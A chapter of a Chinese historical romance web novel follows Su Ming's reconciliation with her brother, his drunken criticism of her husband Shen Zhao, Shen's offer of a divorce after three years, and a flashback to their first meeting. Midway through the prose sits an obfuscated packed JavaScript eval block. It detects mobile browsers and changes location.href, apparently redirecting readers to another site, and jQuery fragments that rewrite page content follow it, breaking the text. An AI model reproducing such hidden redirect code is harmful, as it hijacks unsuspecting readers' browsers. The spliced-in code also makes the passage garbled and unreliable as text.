茶香氤氲,秉着做戏做到底的理念,罗绮一口气喝下了两大杯冒着热气的茶水,喝的额头直冒汗,苏茗坐在对面看的目瞪口呆。
一杯新茶被人放在面前,旁边青年温和的声音响起:“茗儿也喝口茶吧。”
苏茗没有拒绝,罗绮喝了那么多,看的她都有些口渴了,索性也端起茶杯喝了一口。见妹妹喝了自己的茶,苏若望心中渐宽,道:“自上次你归宁,也过去一些时日了,家中人都日日念叨着你……”
他絮絮叨叨的说了好长一段话,最后觉得铺垫的够火候了,说出了自己最想说的那句话:“茗儿还在生二哥的气吗?”
苏茗一口茶哽嗓子眼,差点没咽下去。
她咳了两声,抬眼便见罗绮睁着双眼睛看着她,里头还似乎藏着点期待。
……是她的错觉吗?
苏茗将茶杯搁在桌上。
其实从成婚那日他从轿子外面偷偷给自己塞糕点的时候她就有点后悔对二哥说那样重的话了,本想着归宁之时好好与他谈谈的,结果父亲母亲一直拉着她说这说那的,一整天都没找着什么机会。
见她没说话,苏若望继续道:“之前是二哥的态度不好,二哥也像罗小姐道歉了……”说罢,他眼神示意了一下罗绮。
罗绮连忙会意点头,“对啊,其实我不是很介意的,而且苏二公子人非常好。”
罗绮这话说的真情实感,情真意肯,令苏若望都忍不住侧头看了她一眼,好似自己真如她所说的那般一样,苏若望自觉自己对待她时那份不满还是很明显的,难道这人真的一点也察觉不到?
苏若望一时有些匪夷所思,不过想到自己提出的条件,又觉她这反应也算是情理之中了。
而此时的罗绮还在心中喜滋滋的想着,帮自己弟弟过考绩。怎么不算个大好人呢?
眼见着苏若望误会了她的态度,苏茗赶紧摇头道:“没有,我没有生二哥的气。”
她瞅了眼没心没肺的坐在对面的罗绮,撇嘴轻声道:“人家自己都没什么意见,我又哪来的立场生气呢……”
说罢,她又别扭的对苏若望道:“而且……我也不该对二哥那样失礼。”
苏若望轻柔的笑了起来,“我不怪三妹妹。”
气氛正是一片温馨之时,苏茗心头却还是多了点疑惑,二哥似乎是不喜罗绮,何时与她冰释前嫌了?
不过苏茗很快便想通了,虽然她从小和哥哥们待的时间不长,可论家中谁最疼爱她,父亲母亲恐怕都要被这两个哥哥给比下去。
苏茗展颜一笑,和自己哥哥重归于好,她自然也是开心的,当即就叫菘蓝往膳房里吩咐下去,要留两人用晚膳。
原本苏若望是不愿留下来的,还是苏茗说沈照今晚不回来他才干脆的应了下来。原因苏茗也清楚,两个哥哥其实对沈照并不满意,成婚前苏茗的一举一动家里人都看的清楚,小姑娘都那样与他贴近关系了,结果人不但没半点示好,反而还丝毫不领情。
得亏这是皇帝赐婚,若不然,就是全天下顶顶好的公子,这样对他小妹,那也是要被两人揍一顿的,为了避免矛盾,闹得两边都不好做,苏家的两位公子干脆能避就避,实在见了面,气氛也是出奇的安静。
不过苏茗觉得沈照大概也察觉到了几分,上回归宁,明明已是一家人,结果那客套场面,苏茗险些都要逃走听不下去了。
不过今日正好,沈照要忙着府卫里的事,估计得许久才归来,苏茗兴致颇高的叫人拿来两瓶果酒,沈照从宫里带回来的,听说是西域进贡来的,喝起来竟一丝酒味也没有,反倒是一股浓浓的葡萄口味,苏茗还以为这是打着酒的名义的果水,于是从来滴酒不沾的苏家二公子也在自家妹妹的撺掇下喝了两杯。
今日不知为何罗绮也十分兴奋,拿着苏茗那壶酒,几口半壶便下了肚。
半盏席之间,苏若望颊边便泛起了丝丝微红。
“茗儿……你可对家中有怨?”苏若望冷不丁说出这样一句话来,苏茗一愣,还不等做出反应,他便接着道:“沈照并非良人……是家里对不起你,让你委屈至此。”
若放在平时,苏若望定不会说出这样一番话来,苏茗凝视着他脸上的红晕,才恍然意识到原来这果酒竟真是酒,她又慌忙看了眼罗绮。
这丫头不知什么时候半靠着桌边已经打起了细小的呼噜声,看着两人这副样子,她自己竟也觉有点晕晕然。
遭了,出大事了!
“菘蓝!”苏茗连忙将菘蓝唤来。
菘蓝看到这场面,也被吓了一大跳,听了苏茗的吩咐连忙又叫了下人去煮醒酒茶,又跑去前院安排马车。
而醉了酒的苏若望话比往常多了不少,“像茗儿这种出身,若是不嫁那沈照,嫁给谁都能安稳幸福的度过一生……可为何偏偏是他呢……怎就如此阴魂不散?”
怎就偏偏是他呢,乍听倒这句话,苏茗也有一瞬间的恍惚,对呀,怎么偏就是他呢……
可沈照是临安侯,又是金吾卫指挥使,婚事还是皇上赐下来的,这样的话终究不能说出口,苏茗一面庆幸着自己早将旁边的仆人打发走了,又一面后怕的上手捂住二哥的嘴。
苏茗这样做无异于掩耳盗铃,似乎丝毫也不影响苏若望继续絮叨,“他沈家满门忠烈又如何,难道我苏家就这一个贵夫人,缺这一个诰命吗……自己母亲也是个疯的,该给你的礼数他尽到了吗……”
苏茗心中猛然一惊,语气几乎染上了几分哀求:“好了二哥……求你了,你别说了……”
“让他继续说下去。”
身后忽然传来一声熟悉而又凛冽的声音。
苏茗心道一声不好,转头看去,沈照已经在距她几步之外不知站了多久……
这下是真遭了,情急之下,为了苏若望不再继续语出惊人,苏茗手指落在苏若望手臂处狠狠揪了他一把。
苏若望低低哀痛一声,旋即竟真垂下头没再继续出声。
苏茗有些心虚的站起身看向沈照,试图和他解释:“那个……这个是误会,我二哥他喝醉了。”
此时天色已逐渐昏暗,沈照一半身子隐在昏暗之中,看不清是个什么表情,偏偏这时趴在桌上的罗绮痴痴的笑着将头抬起,用清脆的嗓音说了一句:“我知道,这叫酒后吐真言!”
苏茗:“……”
苏茗生无可恋的闭上了眼睛,是二哥在他背后说他坏话,谈话甚至一度涉及到还生着病的母亲,这事的确是她哥的不对,苏茗本以为沈照挥生气,但出人意料的是,他面色十分平静的唤了下人将两人抬到马车上,又派了寒池护送,直到临睡前,脸上都是一副淡然的神色,可不知为何,他越是这样,苏茗越觉慌乱。
苏茗从浴房出来,看到沈照拿着本书坐在床头上看,神色不见异常。
苏茗揉了揉裙角慢慢走过去,才刚要靠近,男人突然开口:“桌上有醒酒汤。”
她恍然一怔,这才想起自己也碰了那果酒,刚干了番亏心事,苏茗正是最听话的时候,马上调转了步子走到桌边将上头放着的那碗解酒汤一口喝下,然后回到床边。
她自认为自己向来不是个歪曲事实之人,二哥错了便是错了。
“对于今日晚间那件事,我代我二哥向你说一声抱歉……”
说这话的时候,苏茗只觉自己的脸都在发烫,她垂着头,听见男人停下翻页的声音,甚至察觉到男人落在她身上的视线化作了一团灼烧之感。
“不是你说的,你道歉什么?”沈照将书本合上,抬眼盯着她,面上一片淡然,捏着书本的指尖却有些发白。
“不过他说的确实不都是错的,不是吗?”
苏茗不受控的抬起头来,一眼撞进面前青年黝黑的瞳孔中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864079|173586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自他回京之后,两人争吵了太多次,两人都不愿再一遍遍重蹈覆辙,沈照忽略心中的那一抹燥意,对她道:“苏茗,我们商量一件事吧。”
…………
第二日清早,苏茗一脸倦意的坐在梳妆镜前,脑中不断回想起昨晚沈照说过的话。
……
“你与我的确不是良配,待三年之后,我会给你和离书,这场婚约是我拖累了你……”沈照当时还顿了顿抬起眼看她,而后干脆将事情说的更加清楚些,“这三年只要你不将事情闹大,我都可以接受。”
苏茗双眼怔怔,只看见他说话时微微滚动的喉头。
沈照这话明显颠覆了苏茗的认知,她向他投去不解的目光,沈照眸中含着抹她看不懂的情绪,等她忍不住要出声之时,沈照赶在她前头开了口。
“早在知止院时起,我就曾答应过你,这本就是我给你的承偌,不是吗?”
知止院……是她从前生活了八年的院子,也是在她记忆中最开始遇到沈照的地方。
苏茗恍然一瞬,沈照的目光依旧是平淡的,却一下子让苏茗回到了半年前她还在庄子里的时候。
…………
少女着一身新绿襦裙,姑娘家的发髻灵动可爱,踏在竹间仿若将整个早春都踩在脚下,明明是相同的一条路,可这次她的步伐却不像往常那样轻盈。
察觉到自家小姐的心思,菘蓝连忙出声提醒:“小姐,今日便是最后一次机会了,明日家中来人,小姐恐怕就不能再来这竹院里了……”
这道理苏茗自然明白。
该断不断,必受其乱,苏茗轻吸一口气,一鼓作气将走过去将矮矮的竹院门推开,而后径直走到青年身边。
院中青年好似早就知道她会来,目光淡然的落到她身上。
这是她捡回来的男人,怕被人说闲话,苏茗便和自家婢女一起将人藏在了位置较为偏僻的竹院中,见这男人容貌俊美,似乎还记忆全失,闲着无聊又春心萌动的少女时常会偷偷跑过来逗逗他,还颇为喜欢看他恼羞成怒又无可奈何的模样。
但如今她即将要回京了,需得尽快将这私藏着的人给打发走。
苏茗几乎是捏着裙角说完了那一番决绝的话,男人目光依旧淡然,很平静的就接受了自己被抛弃的事实,只道一声“好”。
男人没什么反应,苏茗却是眼角都要被他气红了,没曾想这男人竟真如此不在乎,那她这几个月的种种,在他眼里又算什么呢?
明明是她先提出来的事情,到最后竟生出不小的委屈来。
少女抱着不知怎样的想法,忽然又闭着眼道:“我……我早就有喜欢的人了,我此番回京,为的,便是要嫁我喜欢的人!”
青年还是淡定的点点头,“我知道。”
苏茗心都几乎停了一瞬。
在这之前,他们会坐在一起品茗下棋,向来喜静的他也会陪着苏茗放风筝,他说他不记得自己是谁,苏茗满含羞涩给他取名为阿隐,有时也会在无意中做出超出礼仪的小动作。
在苏茗眼中,两人关系早就不怎么纯洁了,本以为这男人还会质问她埋怨她,没想到反应竟然比她还小,苏茗被气昏了头,转头便坐上了回京的马车。
岂料更气的还在后头,不出半月,待苏茗按耐不住暗戳戳派人会竹院中看看时,才知那竹院早就空了,那人怕是走的比她还早,再之后,她便遇见了沈照。
那时她才知道,原来一切都是骗她的,什么忘记自己是谁,还忽悠她给他取名字……更荒唐的是,皇上还为两人赐下了婚事。
一开始苏茗还安慰自己,说不准是那番话伤到了他,她还天真的想着要去给他解释,还费力的想去讨好他,结果呢?
苏茗越想越气,拿起桌上的木梳往一边砸去。
“王八蛋!”
菘蓝在一旁被吓的不敢说话。